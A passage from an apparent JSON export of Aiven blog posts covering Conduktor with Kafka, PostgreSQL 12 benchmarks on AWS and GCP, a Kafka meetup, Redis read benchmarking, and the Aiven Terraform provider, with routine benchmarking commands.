it easier than ever to harness the power of Apache Kafka.\nWhile Conduktor may look and feel shiny and new, their all-in-one friendly interface to work with the Apache Kafka ecosystem has actually been in development as a free-to-use product since 2016. In about that same timeframe, Aiven honed our craft delivering fully-managed, secure, and performant Apache Kafka, Kafka Connect, and MirrorMaker as cloud agnostic services that are ridiculously easy to get started with. \n\n### Conduktor gets you 10x more productive with your data\nConduktor was built by Apache Kafka experts, and is an elegant solution for a more civilized use of Apache Kafka. If you interact with Apache Kafka, Conduktor will make your life better.\n\n- Developers - with Conduktor you can configure topics, find data, manage consumers, Kafka Streams applications, and manage Connectors.\n- Operators - Conduktor makes it easier to configure and monitor your brokers, reassign topic partitions, and ensure the metrics are good.\n- QA - using Conduktor you can run scenarios by sending custom messages to run functional tests or test resiliency by sending random data.\n\nFor enterprise scale use of Apache Kafka, Conduktor standardizes the use of Apache Kafka to make everyone more informed and productive across the organization.\n\nStoryblocks, the innovative stock footage platform, uses Conduktor’s desktop GUI to simplify and streamline Kafka operations. “Conduktor is amazing,” says Ilya Berdichevsky, Lead Data Engineer at Storyblocks. “It’s one of those rare 10x tools. It cleverly hides Kafka powers under a thoughtful UI.”\n## Connecting Conduktor to Aiven for Apache Kafka\nLet’s take a look at how these two tools work together. We’ll use Aiven for Apache Kafka to take care of management, and Conduktor to make working with Apache Kafka and our data 10x easier. \n\nGetting started with Conduktor is pretty simple and there is built-in support for setting up the connection. All you need is a CA certificate for each Aiven project in Conduktor.\n\n### Add CA certificates for Aiven projects in Conduktor\nGo to the Service Overview page for your Aiven for Apache Kafka® service and click the service name (“kafka-conduktor” in the image below).\n\n![conduktor-image4](//cdn.sanity.io/images/sczeoy4w/production/2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433.png \"Aiven Console Service Overview page with a Business-4 Aiven for Apache Kafka service\")\n\nDownload the Access Key, Access Certificate, and CA Certificate to your computer. \n\nNote down the Host and Port information. You’ll need them soon.\n### Add your Aiven cluster in Conduktor\n\n1. In the Conduktor desktop application, click __New Kafka Cluster__ in the main pane. \n\n![conduktor-image6](//cdn.sanity.io/images/sczeoy4w/production/c9dbe4667305d0eecbe1eb018ef37604d57ea622-1492x794.png \"Connecting a Kafka cluster in Conduktor, step 1\")\n\n2. Click the Aiven icon. \n\n![conduktor-image9](//cdn.sanity.io/images/sczeoy4w/production/8e4eac05109ca18b423671212747504dc9d85927-1999x1339.png \"Connecting a Kafka cluster in Conduktor, step 2\")\n\n3. In the Add new Cluster screen, click the Aiven integration button.\n\n![conduktor-image7](//cdn.sanity.io/images/sczeoy4w/production/6163265083f4f28bfe1fdee3ec67235694624335-1416x840.png \"Connecting a Kafka cluster in Conduktor, step 3\")\n\n4. Add here the information from the Aiven Console that you noted down earlier, add the two files you downloaded, and specify a folder for Conduktor to create Keystore and Truststore files in.\n5. Click __Create__.\nConduktor creates a configuration to connect to your Aiven for Apache Kafka service. \n\n![conduktor-image11](//cdn.sanity.io/images/sczeoy4w/production/1bf62ff6ec243c3beeb7bcae169c202a2dd29db6-1999x1338.png \"Connecting a Kafka cluster in Conduktor, step 5\")\n\n6. Click __Save__. \n\nCongrats, you have Conduktor connected to your Aiven for Apache Kafka cluster!\n\n![conduktor-image8](//cdn.sanity.io/images/sczeoy4w/production/d1cbaa8cc42e32ce5d676ecd684e0024bda68c88-1494x796.png \"Connecting a Kafka cluster in Conduktor - finished!\")\n\nNow you can visualize all of your data within Apache Kafka. Take a look:\n\n![conduktor-image3](//cdn.sanity.io/images/sczeoy4w/production/617ef879a1fa5d8c4c9a1277b1d83666a4f40954-1999x1141.png \"Aiven data as seen in Conduktor\")\n\n## Next up\nFor this introductory blog post, we did not introduce demo data to further explore Conduktor.\n\nIn our next blog post of this series, we’ll explore all of the cool things you can do with Conduktor on Aiven for Apache Kafka using demo data. \n\nRemember, Aiven for Apache Kafka is the same 100% open source code you’re running yourself, but we make it our entire business (literally) to do that for you, so you can focus on building things that matter and delight your customers, rather than the care and feeding of Kafka!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-23T00:00:00.000Z","seo":{"metaDescription":"Aiven gives a secure, fully managed platform for your Apache Kafka®. Want to be 10x more productive into the bargain? Check out Conduktor.","metaImage":{"alt":"","asset":{"_ref":"image-3436e0a4388133f5510b7429989a66c3bf76c1b0-1567x844-png","_type":"reference"}},"metaTitle":"Drive Apache Kafka® like a boss with Aiven and Conduktor"},"slug":{"_type":"slug","current":"/blog/drive-apache-kafka-like-a-boss-with-aiven-and-conduktor"},"subtitle":"Aiven gives a secure, fully managed platform for your Apache Kafka®. Want to be 10x more productive into the bargain? Check out Conduktor.","title":"Drive Apache Kafka® like a boss with Aiven and Conduktor"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5NiOyJ042D97FVXaTRORWX","_rev":"WH90lHWEK1Lnrn0DUuQLzj","_type":"post","_updatedAt":"2023-08-04T18:10:07Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"__Check out the updated article for 2021: [Aiven for PostgreSQL 13 performance on GCP, AWS and Azure](https://aiven.io/blog/aiven-for-postgresql-13-performance-on-gcp-aws-and-azure-benchmark \"Benchmark figures for 2021\")__\n\nAt Aiven, we’ve run different [PostgreSQL cloud performance benchmarks](https://aiven.io/blog/postgresql-cloud-performance) since 2016. In this latest post, we’ll consider four different benchmarks that compare write performance for PostgreSQL 12.1 between Amazon Web Services (AWS) and Google Cloud Platform (GCP).\n\nWe not only measured the performance in terms of speed and cost variations across the two clouds, but also examined the effects of adding CPUs while adjusting RAM and storage upward to write performance.\n\nWe generated load using ```pgbench```, which we ran on another VM in the same cloud. The load generator commands for each plan were as follows:\n\n```$ pgbench --client=\u003cstartup_plan\u003e --jobs=2 --report-latencies --time=3600 --log --aggregate-interval=1 keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'```\n\nIn this case the ```--client``` switch was the variable adjusted geometrically to correspond to the startup plan under test. Possible values are ```2```, ```4```, ```8```, ```16```, for each of the four startup plans, respectively. Additionally:\n\n* The load generator had only 2 cores and 2GB RAM when tests ran Aiven startup-4 or startup-8 plans, \n* The load generator had 4 cores and 4GB RAM for the other plans.\n\nAs in a production PG setup, the local SSDs running PG used LUKS full-disk encryption with WAL archiving enabled. The PG instances under test were initialized as follows (shown here without connection parameters):\n\n```$ pgbench --initialize --scale=125 --quiet keepalives='1' keepalives_count='12' keepalives_idle='180' keepalives_interval='10' sslmode='require'```\n\nHere, the ```--scale``` parameter was adjusted to accommodate each plan; in this case, the DB size was roughly double the size of RAM, with the possible values of ```125```, ```500```, ```2000```, and ```4000```. \n\nThus, our four benchmarks measured and compared performance of PostgreSQL 12.1 running on Amazon Web Services (AWS) and Google Cloud Platform in each of the following four [Aiven managed PostgreSQL plan](/postgresql) configurations:\n\n![Aiven Plans for PG 12 Benchmark](//cdn.sanity.io/images/sczeoy4w/production/f805553dd9dbe22969179f73ba409c559c5027b9-944x326.png)\n\nTo minimize the effects of variable latency on our benchmark, we used these comparable regions for each provider, respectively:\n\n### AWS regions:\n* eu-west-1\n* eu-west-2\n* us-east-1\n* us-west-1\n\n### GCP regions:\n* europe-west1\n* europe-west2\n* us-east4\n* us-west1\n\n### Cost calculation comparison\nFinally, we concluded the benchmark by calculating the average mTPS/$ per PG plan. \n\n## Transactions Per Second: Aiven Startup-4 plans\nAiven startup-4 plan tests consisted of the following configurations:\n\n**Load generator**: 2 cores and 2GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 1 core\n* 4 GB RAM\n* 80 GB storage\n\n![Average Transactions per Second on Aiven Startup-4 plans](//cdn.sanity.io/images/sczeoy4w/production/5742853889adee518a337822a67bb2f412d377c3-854x528.png)\n\nOn Aiven for PostgreSQL 12.1 **startup-4 plans**, the difference was **483** to **413** respectively, with **AWS leading by 16.76 percent**.\n\n## Transactions Per Second: Aiven Startup-8 plans\nAiven startup-8 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed in the same region as the DB\n* 2 cores\n* 2 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 2 cores\n* 8 GB RAM\n* 175 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-8 plans](//cdn.sanity.io/images/sczeoy4w/production/598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528.png)\n\nOn this, as on all plans tested subsequently, **GCP was the leader**: with **940 TPS** to **AWS’s 645 TPS** (**a 31.34% difference**). \n\n## Transactions Per Second: Aiven Startup-16 plans\nAiven startup-16 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed on the same region as the DB\n* 4 cores\n* 4 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 4 cores\n* 15 GB RAM\n* 350 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-16 plans](//cdn.sanity.io/images/sczeoy4w/production/f1ad5bc7e173d22c747ad0162a7483794d640686-854x528.png)\n\nHere, the **performance gap** between GCP and AWS widened to **45.72%** (**GCP’s 1881** vs. **AWS’s 1021 TPS**).\n\n## Transactions Per Second: Aiven Startup-32 plans\nAiven startup-32 plan tests consisted of the following configurations:\n\n**Load generator**:\n* one VM deployed on the same region as the DB\n* 4 cores\n* 4 GB RAM\n\n**System under test**:\n* 1 dedicated VM\n* 8 cores\n* 30 GB RAM\n* 700 GB storage\n\n![Average Transactions per Second on Aiven for PostgreSQL Startup-32 plans](//cdn.sanity.io/images/sczeoy4w/production/4c75733bd8f952055db762c76854b8a72aa5db1d-842x528.png)\n\nFinally, on Aiven’s largest startup plan, the **performance gap** between the clouds narrowed slightly to **42.73%** (with **GCP at 3802** and AWS at **2177 TPS**).\n\n## mTPS/$ average per service version\nPerformance value was calculated as an average of millions of transactions per second per dollar _or (mTPS/$)_ for each cloud provider. We found that, overall, the performance/cost difference between cloud providers quite substantially favored Google, although as before with the exception only of Startup-4 plans: \n\n![Table for transactions per second per dollar per postgreSQL plan.](//cdn.sanity.io/images/sczeoy4w/production/2af130caa5a5eab8958e84b882373b702536cf1e-551x198.png)\n\n## Conclusions\nWhen averaging all the data across regions and plans for either cloud provider, overall the better cost performance boils down to better performance generally on GCP.\n**Google was hands down the better performer**, with **1742 TPS** vs. **AWS’s 1081** TPS (a difference of **61.09%**) for all Aiven plans on PG 12.1\n\n![Mean Transactions per Second Average on all Aiven PostgreSQL plans](//cdn.sanity.io/images/sczeoy4w/production/38a111f098a2731b69559efb8b1776fdd099d6aa-1100x680.png)\n\nOf course, many factors affect PostgreSQL performance, including latency differences between the different regions, which we used but didn’t differentiate for in this benchmark. There is also a difference to consider with variably-sized workloads. \n\nWe always recommend that standalone PostgreSQL users identify performance bottlenecks and tune their database configuration, workload or hardware configuration to optimize. However, in our [managed PostgreSQL services](https://aiven.io/postgresql), PostgreSQL system parameters come preconfigured for typical workloads, and you can try out different hardware configurations by choosing different Aiven for PostgreSQL plans. \n\nWe’ll be publishing more benchmarks like these moving forward, so stay tuned. In the meantime, check out our [no commitment, 30-day trial](https://console.aiven.io/signup), or find out more on the [product page](https://aiven.io/postgresql)!\n\nMany thanks go out to Felipe Morato for his hard work on these benchmarks!","categories":[{"_key":"6M8DLtFLBnGLS1UOa20n4K","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-c69a9955e130bd778fa60a99eecad6119d6f5268-752x405-png","_type":"reference"}},"publishedAt":"2020-04-15T00:00:00.000Z","seo":{"metaDescription":"We look at Aiven for PostgreSQL version 12 plan performance between Amazon Web Service and Google Cloud Platform in terms of transactions per second and cost.","metaImage":{"alt":"","asset":{"_ref":"image-c69a9955e130bd778fa60a99eecad6119d6f5268-752x405-png","_type":"reference"}},"metaTitle":"PostgreSQL® 12 performance on GCP and AWS [Benchmark]"},"slug":{"_type":"slug","current":"/blog/postgresql-12-gcp-aws-performance"},"subtitle":"We look at Aiven for PostgreSQL version 12 plan performance between Amazon Web Service and Google Cloud Platform in terms of transactions per second and cost.","title":"PostgreSQL® 12 performance on GCP and AWS [Benchmark]"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7bNESu0lCpVQ636CMlQ2lV","_rev":"bUMlF7B1Xxw34pzcKd9WQA","_type":"post","_updatedAt":"2022-11-15T10:02:27Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"In August, Aiven created an [Apache Kafka meetup](https://www.meetup.com/de-DE/Helsinki-Apache-Kafka-Meetup/) in Helsinki to discuss hot topics surrounding Kafka.\n\nDue to its popularity, we decided to make it an ongoing event and held our second meetup yesterday.\n\nThis time, around 30 people attended [Lifeline Ventures](https://www.lifelineventures.com/)' office in downtown Helsinki and there were two presenters:\n\n1. Niklas Nylund of [Paf](https://www.paf.com/), an operator of slots, lotteries, poker and casino games as well as betting both online and in casinos.\n\n2. Heikki Nousiainen, our CTO\n\nFirst up was Nylund to discuss the ins and outs of how his team brought [Kafka](/kafka) in to act as a data bus for their real-time analytics needs.\n\n### Apache Kafka reduces the spaghetti  \n\nPaf collects Change Data Capture events from databases and sends the events to [Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka\"), which are then consumed and imported into Kudu for analytic work.\nAlthough Kafka possesses its quirks, Nylund is satisfied with how Paf has been able to use it to streamline their architecture.\n\nOr, as he vividly put it, \"Reducing the spaghetti.\"\n\n[Check out his presentation slides here](https://drive.google.com/a/aiven.io/file/d/0B2FsWGSy9br4M0VsR1BBenlNYzQ/view?usp=sharing) to get a thorough understanding of Paf's integration process from beginning to end.\n\n### Apache Kafka Connect simplifies integration\n\nSecond up was our CTO Heikki Nousiainen to discuss the Kafka Connect framework, and using it to transfer data between Apache Kafka and other systems, in this case [PostgreSQL](https://aiven.io/postgresql) and [Elasticsearch](https://aiven.io/opensearch).\n\nUsing Python code to interact with the services, Nousiainen was able to demonstrate how easy it was to push and pull data between Kafka and the external systems.\n\nWith a large number of available connectors from the Kafka community, integrating Kafka with other systems can be quite straightforward.\n\nThis in turn allows quick benefits and migration towards real-time stream analytics with Kafka-centric architecture.\n\n[Check out Nousiainen's presentation slides](https://drive.google.com/a/aiven.io/file/d/0B2FsWGSy9br4V1N0cF80Q0xnQU0/view?usp=sharing) to get a better idea of the use cases for Kafka Connect.\n\n### Join the next Kafka discussion  \n\nAs the transition from a monolithic to microservices architecture continues, the use case for integrating Kafka as a streaming platform will only strengthen.\n\nThis is evidenced by the increase in attendance of our events where many developers, be they users of Kafka or not, are gathering to learn more about what Kafka is, its use cases, and best practices for implementing it.\n\nWe are planning another [Aiven](https://aiven.io/) meetup for December/January, so join the [Helsinki Apache Kafka Meetup](https://www.meetup.com/de-DE/Helsinki-Apache-Kafka-Meetup/) group to get the details when we finalize the plans and we'll see you soon!\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"publishedAt":"2017-10-19T14:57:00.001Z","seo":{"metaDescription":"Aiven talks shop with Paf at second Apache Kafka® meetup","metaImage":{"alt":"","asset":{"_ref":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven talks shop with Paf at second Apache Kafka® meetup"},"slug":{"_type":"slug","current":"/blog/aiven-talks-shop-with-paf-at-second"},"subtitle":"Aiven talks shop with Paf at second Apache Kafka® meetup","title":"Aiven talks shop with Paf at second Apache Kafka® meetup"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"Bn6QWyWT0ZxFmtWiDM23j","_rev":"jlE3yG3C5Lxk0cUOqcrSPW","_type":"post","_updatedAt":"2024-05-27T12:56:14Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"I was sitting in my office, sipping bourbon and cleaning my trusty keyboard, when the phone rang. It was a customer, a recent one, and they had a problem.\n\nThe customer’s read rates were fluctuating oddly. They were expecting a quick turnaround on the job since, they said, the culprit was obvious: it was [Redis®*](https://aiven.io/caching), unable to handle their loads. They were testing a premium plan with Aiven for Caching, and now I was getting an earful about how their expectations weren’t being met. They wanted a powerful database, they said, but were getting offered a third-rate flutterbox of an embarrassment.\n\nI shelved my witty comebacks for now. Instead, I grabbed my trench coat and fedora (the air conditioning in my office is always an issue), plugged my keyboard in again, and connected to their cloud.\n\nAfter poking around for a few hours, I was mystified, much more so than the customer. Redis is a very steady player. It handles high loads easily, and the customer’s expansion to a premium plan (with six servers, consisting of 1 primary and 5 replicas each) should have been more than enough. Then if worse came to worst, I should be able to see a sharp drop-off point when the database buckled under an increasing load.\n\nInstead, the graph drew a mountain range, with reads going up and coming down and then going up again. I’d never seen Redis do that.\n\nI called the customer back and laid into them. I wanted to know what they knew. What were they doing to poor Redis? The customer wasn’t happy with my grilling, but I did find out that they were using a custom testing suite. Well I’ll be darned, I thought. \n\nI returned to my poking, and sure enough, now that I knew where to stick my nose, I got the scent. The customer tests were not going as planned and I needed to right this ship.\n\nRather than using a customer-specific testing harness, I turned to the industry standard [memtier_benchmark](https://github.com/RedisLabs/memtier_benchmark) for an unbiased opinion. I tested three Aiven plans: Business (primary + replica), Premium (primary + 2 replicas) and Custom (primary + 5 replicas). I needed to make sure that the WRITE rate to the primary node was consistent and that the READ rates across the replicas were increasingly faster across the plans as replicas increased.\n\nThings started out quiet. The WRITE rate was consistent across the three services plans when attempting to write 10M entries, with a payload size of 2500 bytes. As the service plans increase in replica count, the expected write rate should decrease as additional IOPS serve to replicate data.\nHere’s a script that writes data to Redis and benchmarks it:\n```\nsudo docker run --rm redislabs/memtier_benchmark -s \u003cHOST\u003e \\\n -p \u003cPORT\u003e -a \u003cPASSWORD\u003e --hide-histogram --key-maximum=10000000 \\\n -n allkeys -d 2500 --key-pattern=P:P --ratio=1:0\n```\n\n![redis-1](//cdn.sanity.io/images/sczeoy4w/production/38d1d785825de55fea789fa8a2cef8bf0772b735-729x438.png \"Cluster write test\")\n\nWith the WRITE operations done, I turned to benchmarking the READ rates. I did it consistently, of course, with READS done against the PRIMARY nodes, to ensure nothing fishy was going on between the three Aiven service plans. As expected, the READS fell in a narrow band across all plan types.\n```\nsudo docker run --rm redislabs/memtier_benchmark \\\n -s \u003cPRIMARY / REPLICA HOST\u003e -p \u003cPORT\u003e -a \u003cPASSWORD\u003e \\\n --hide-histogram \\ -t 30 -c 10 --pipeline=1 --ratio=0:1 \\ \n --test-time=180\n```\n![redis-2](//cdn.sanity.io/images/sczeoy4w/production/1c9d8815f9e338ec85c1c06f944492be90ee5fc1-727x418.png \"Cluster READ primary test\")\n\nLastly I came to test the READ rate directly against the replica nodes. \n\n![redis-3](//cdn.sanity.io/images/sczeoy4w/production/f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412.png \"Cluster duration test, Business and 3-node Premium\")\n\nSo far so good. The Business plan (blue line) read performance is matching that of the primary node as expected. The Premium plan with 2 replicas (red line) was almost double the throughput (not exactly double, but that was to be expected), so looking good!\n\nThen things took a sideways turn as the line for the custom 6 node plan (green line) took a trip to the south. My jaw fell. What was going on? How was I getting only marginally better performance with lots more nodes in the game?\n\n![redis-4](//cdn.sanity.io/images/sczeoy4w/production/e6fab982bc1674af0c1df7dd85188bc4befecaae-716x434.png \"Cluster duration test, Business, 3-node Premium and 6-node Premium\")\n\nJust as I was ready to throw in the towel, I remembered where this quest started. The clue was in the benchmark test itself. Just as the customer was showing abysmal metrics with their homegrown solution, mine was also struggling but for a different reason; NOT ENOUGH LOAD! \n\nOf course! I couldn’t expect the same test, with the same connections, to automatically generate more operations per second if the test itself was bottlenecked. Just because I had a bigger bucket I couldn’t expect the same garden hose to fill it at the same rate, I had to increase the amount of water to fill the bucket! Duh!\n\nWith this eureka in hand I fired up a second 'memtier_benchmark' on a separate VM and started filling the pail - with two hoses.\n\n![redis-5](//cdn.sanity.io/images/sczeoy4w/production/939eca822a6ac0501332d7aa6593199ed7150bae-725x435.png \"Cluster duration test, Business, 3-node Premium and 6-node Premium - second try\")\n\nThat was more like it!\n\nSo the tests were failing not because of Redis, but because of how the tests themselves were set up and executed. I sighed with contentment and drained my glass.\n\nI was now faced with a problem of my own: how to let the customer know they were causing their own problems? I opened a second bottle of bourbon to help me think. \n\nThe next morning, I had a hangover but no better answers, so I just dialled the customer and plainly described what I’d found. Yep, they sure weren’t happy, but I got the message across. What’s more, they were so happy with my work, as well as Redis, after the testing issues were fixed, that they finalised their upgrade to the premium plan with no qualms. \n\nOnce again, I’d proved that Redis is a solid, dependable solution that simply works when you plug it in, and that Aiven gives better support than any other cloud company in the business. Make of that what you will.\n\n## Wrapping up\nHere's a PSA: Trust your gut, walk the walk, and you may find your answer in an unexpected place. And lay off the bourbon if you want a clear head the next morning...\n\nAnd if you had no idea what this article was about, check this out: [An introduction to Redis](https://aiven.io/blog/an-introduction-to-redis \"An introduction to Redis on the Aiven blog\").\n\n--\n\nIf you're not using Aiven services yet, sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\"). Otherwise, you might just face... issues.\n\nIn any case you'd better keep an eye on us. Follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts so nothing can sneak up on you.\n\n* Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven Oy.","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_type":"reference"}},"publishedAt":"2021-07-13T00:00:00.000Z","seo":{"metaDescription":"Some days are easy. Some days, your throughput falls and you blame poor Redis®*. Find out how a customer learned to love Aiven's new premium plan for Redis.","metaImage":{"alt":"","asset":{"_ref":"image-998de53afc141e1187e7ad4074ea65fc753f801a-1567x844-png","_type":"reference"}},"metaTitle":"Redis® and the secret of fluctuating reads"},"slug":{"_type":"slug","current":"/blog/redis-and-the-secret-of-fluctuating-reads"},"subtitle":"Some days are easy. Some days, your throughput falls and you blame poor Redis®*. Find out how Aiven can solve the case.\n","title":"Redis® and the secret of fluctuating reads"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1ZCBWdCrFYwEsTn4P6XFQT","_rev":"V5UdSzFEWrLT7ZlMFOAcPL","_type":"post","_updatedAt":"2023-08-03T10:36:43Z","authors":[{"_key":"2gMdAEZfTJwRIbSW8fDJ0i","_ref":"2gMdAEZfTJwRIbSW8fDJ0i","_type":"reference"}],"body":"You may remember that [we released the first version of the Aiven Terraform Provider](https://aiven.io/blog/reduce-your-aiven-infrastructure-complexity-with-terraform) way back in 2018. We’re actually on the cusp of its two year anniversary mark, so I thought I’d pop by and reminisce about what it is and show you what you can do with it, as well as what’s new.\n\nBefore we get reacquainted with Terraform, let’s go ahead and get the updates out of the way.\n\n## Aiven’s Terraform provider — two years later.\n- Automatic installation process through the Terraform registry (no more downloading a release from Github!)\n- New `resources` have been added, such as **accounts**, **Kafka schemas** and **VPC peering**\n- Documentation has been added to the repository with examples for various services\n- Support for managing MySQL databases\n- Termination protection for Aiven services\n\nThis is just a snippet but you can see the whole list of updates all the way from 2018 to now at its [Github repository](https://github.com/aiven/terraform-provider-aiven/blob/master/CHANGELOG.md \"Aiven Terraform Provider Changelog\"). But enough about what’s new, let’s remind ourselves of what Terraform truly is and what it means to those who use it.\n\n## What is Terraform, really?\nTerraform is part of a trendy little movement, known as `Infrastructure as Code`. This means that you can write out the architecture of your systems in a structured language, known as `Hashicorp Configuration Language`.\n\nThey say a code snippet is worth a 1000 words so how about a code snippet within an image?\n\n![Getting Started with Terraform](//cdn.sanity.io/images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png)\n\nSetting up [Terraform](https://www.terraform.io/ \"Terraform\") can be done through their Cloud offering or through the [CLI](https://learn.hashicorp.com/tutorials/terraform/install-cli)\n\nBecause Kubernetes gets to be called `k8s` and Terraform is a word I do not want to type in my terminal 40 times a day, I found it useful to set this up:\n\n![Bash Alias for Terraform](//cdn.sanity.io/images/sczeoy4w/production/cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220.png)\n\n### So, what does it do?\nTerraform is a tool that has been created to remove all of the bash scripts and webhooks and listeners you wrote to deploy your software. Providers exist for a number of different companies online that you use (yes, Aiven is there, but so is AWS, GCP and many more). \n\nIf you have trusted different components of your architecture to different experts throughout the Interwebs; then Terraform is the glue that holds them all together. “Does that mean I have to write everything again?” I hear you cry. No! Terraform allows you to `import` existing resources that you have deployed and treat them as if they were made right there in your script.\n\nYou might be thinking, “So, it’s Ansible for hipsters.” Maybe. Maybe not. Technology is moving fast and it shows no sign of slowing up. Public cloud provider usage increases year over year and anything that simplifies the interaction with these tools is a win. \n\nTerraforms USP is that it stores the state of all the pieces that make up your infrastructure and compares that state with the changes that you want to make. If any of those changes will result in the destruction of something you did not intend, then you will be told before making the change and saving yourself thousands of alerts.\n\nEqually, running the same plan again will tell you what has changed and the effect of reverting it back to the state you requested if a change is made outside of Terraform. It’s not just simplifying and automating deployments, it’s allowing you to maintain the equivalent of a `git log` for your infrastructure.\n\n### The Terraform registry\nWhen you use a Terraform provider, Terraform will look for the provider in their [registry](https://registry.terraform.io). If it can’t find the provider, you have to set it up manually by following these [instructions](https://www.terraform.io/cli/config/config-file#provider-installation). The process is a bit tedious as those of you who used the Aiven Provider before its listing know all too well, i.e. downloading binary releases to your development machine and configuring your CI pipeline to do the same. \n\nNow, it’s as simple as providing the name and version and Terraform will handle the rest.\n\n## Enough talking, show me the goods!\nI will be the first to admit that I’m no wordsmith and the places my eyes jump to in a technical post are screenshots and code blocks. With that in mind, I’ll spare you the ordeal of scrolling past my thoughts on `vim` compared to IDEs and I will get stuck in with an example.\n\nIn this (rather simple) example, I’ll use my Aiven account to deploy a Kafka cluster (with Kafka Connect enabled), an OpenSearch cluster and corresponding Sink Connector that will push every message in a topic of my choosing into OpenSearch. And I’ll do it in..._less than 80 lines_. More importantly, I’ll do it in a way that you can just run the code in this post with ease.\n\n### 1. Set up your directory\nWe’ll have the following setup so make that directory anywhere you like:\n\n```\naiven_kafka_es/\n\tmain.tf\n\tvariables.tf\n```\n### 2. Write the main file\nThe structure of an HCL file is in blocks and the following blocks are needed:\n\n![Getting Started with Terraform](//cdn.sanity.io/images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png)\n\nThen we can get started with our `resources` (or we can use `data` for existing resources but we will get to that). If you’ve been living under an abandoned Hermit Crab shell and haven’t yet heard of Aiven, we provide managed open-source software for data pipelines. Deploying *Services* requires a *Project* and you can create everything within Terraform or through the [Web Console](https://console.aiven.io). For the fun of it, let's do it all from here. \n\nFirst, we will need an API Token. Log in (or sign up and get **$300** of free credits) and navigate to your user profile (the User icon in the top right) to create a new `Authentication Token`. Copy the code and let's put it into `variables.tf`. While we’re there, let's add a name for the Kafka cluster we want to make:\n\n![variables.tf](//cdn.sanity.io/images/sczeoy4w/production/a39318a455ef6abcef1b4ddcb4151e5becaea2fb-417x346.png)\n\nDone! Let's create a project and deploy a Kafka cluster somewhere around the world. Append this to your `main.tf` and we’re good to go.\n\n![Terraform - main.tf](//cdn.sanity.io/images/sczeoy4w/production/6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180.png)\n\nSo, we’ve created a project and deployed a Kafka cluster inside GCP to the Europe region. The configuration object we put here also allows us to provide settings to override defaults (like the `version` we want or `integrations` we want to enable). Don’t worry about the numbers if this is all new to you, this is mainly to show that (almost) all of the features we have in our [API](https://api.aiven.io/doc/) are available in our Terraform provider. \n\n_Do you realise what that means!?!_ In a single script, you can deploy a whole suite of clusters AND configure Access Control Limitations AND more advanced configurations for each service (like enabling `pgBouncer` for Postgres or updating a `schema` inside our Kafka Schema Registry, [Karapace](https://karapace.io/)).\n\n### 3. Run it\nSo, let's make it happen! We just write `terraform plan` (`terraform init` first for those of you who haven’t done so) and you’ll see an output showing you what’s going to change or happen. The printout is quite long but you should see a snippet that looks like this: \n\n![Terraform Plan](//cdn.sanity.io/images/sczeoy4w/production/92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702.png)\n\nIf you don’t, you’ll see errors with the line number, file and reason for failure. I’m certain all went well so now we want to 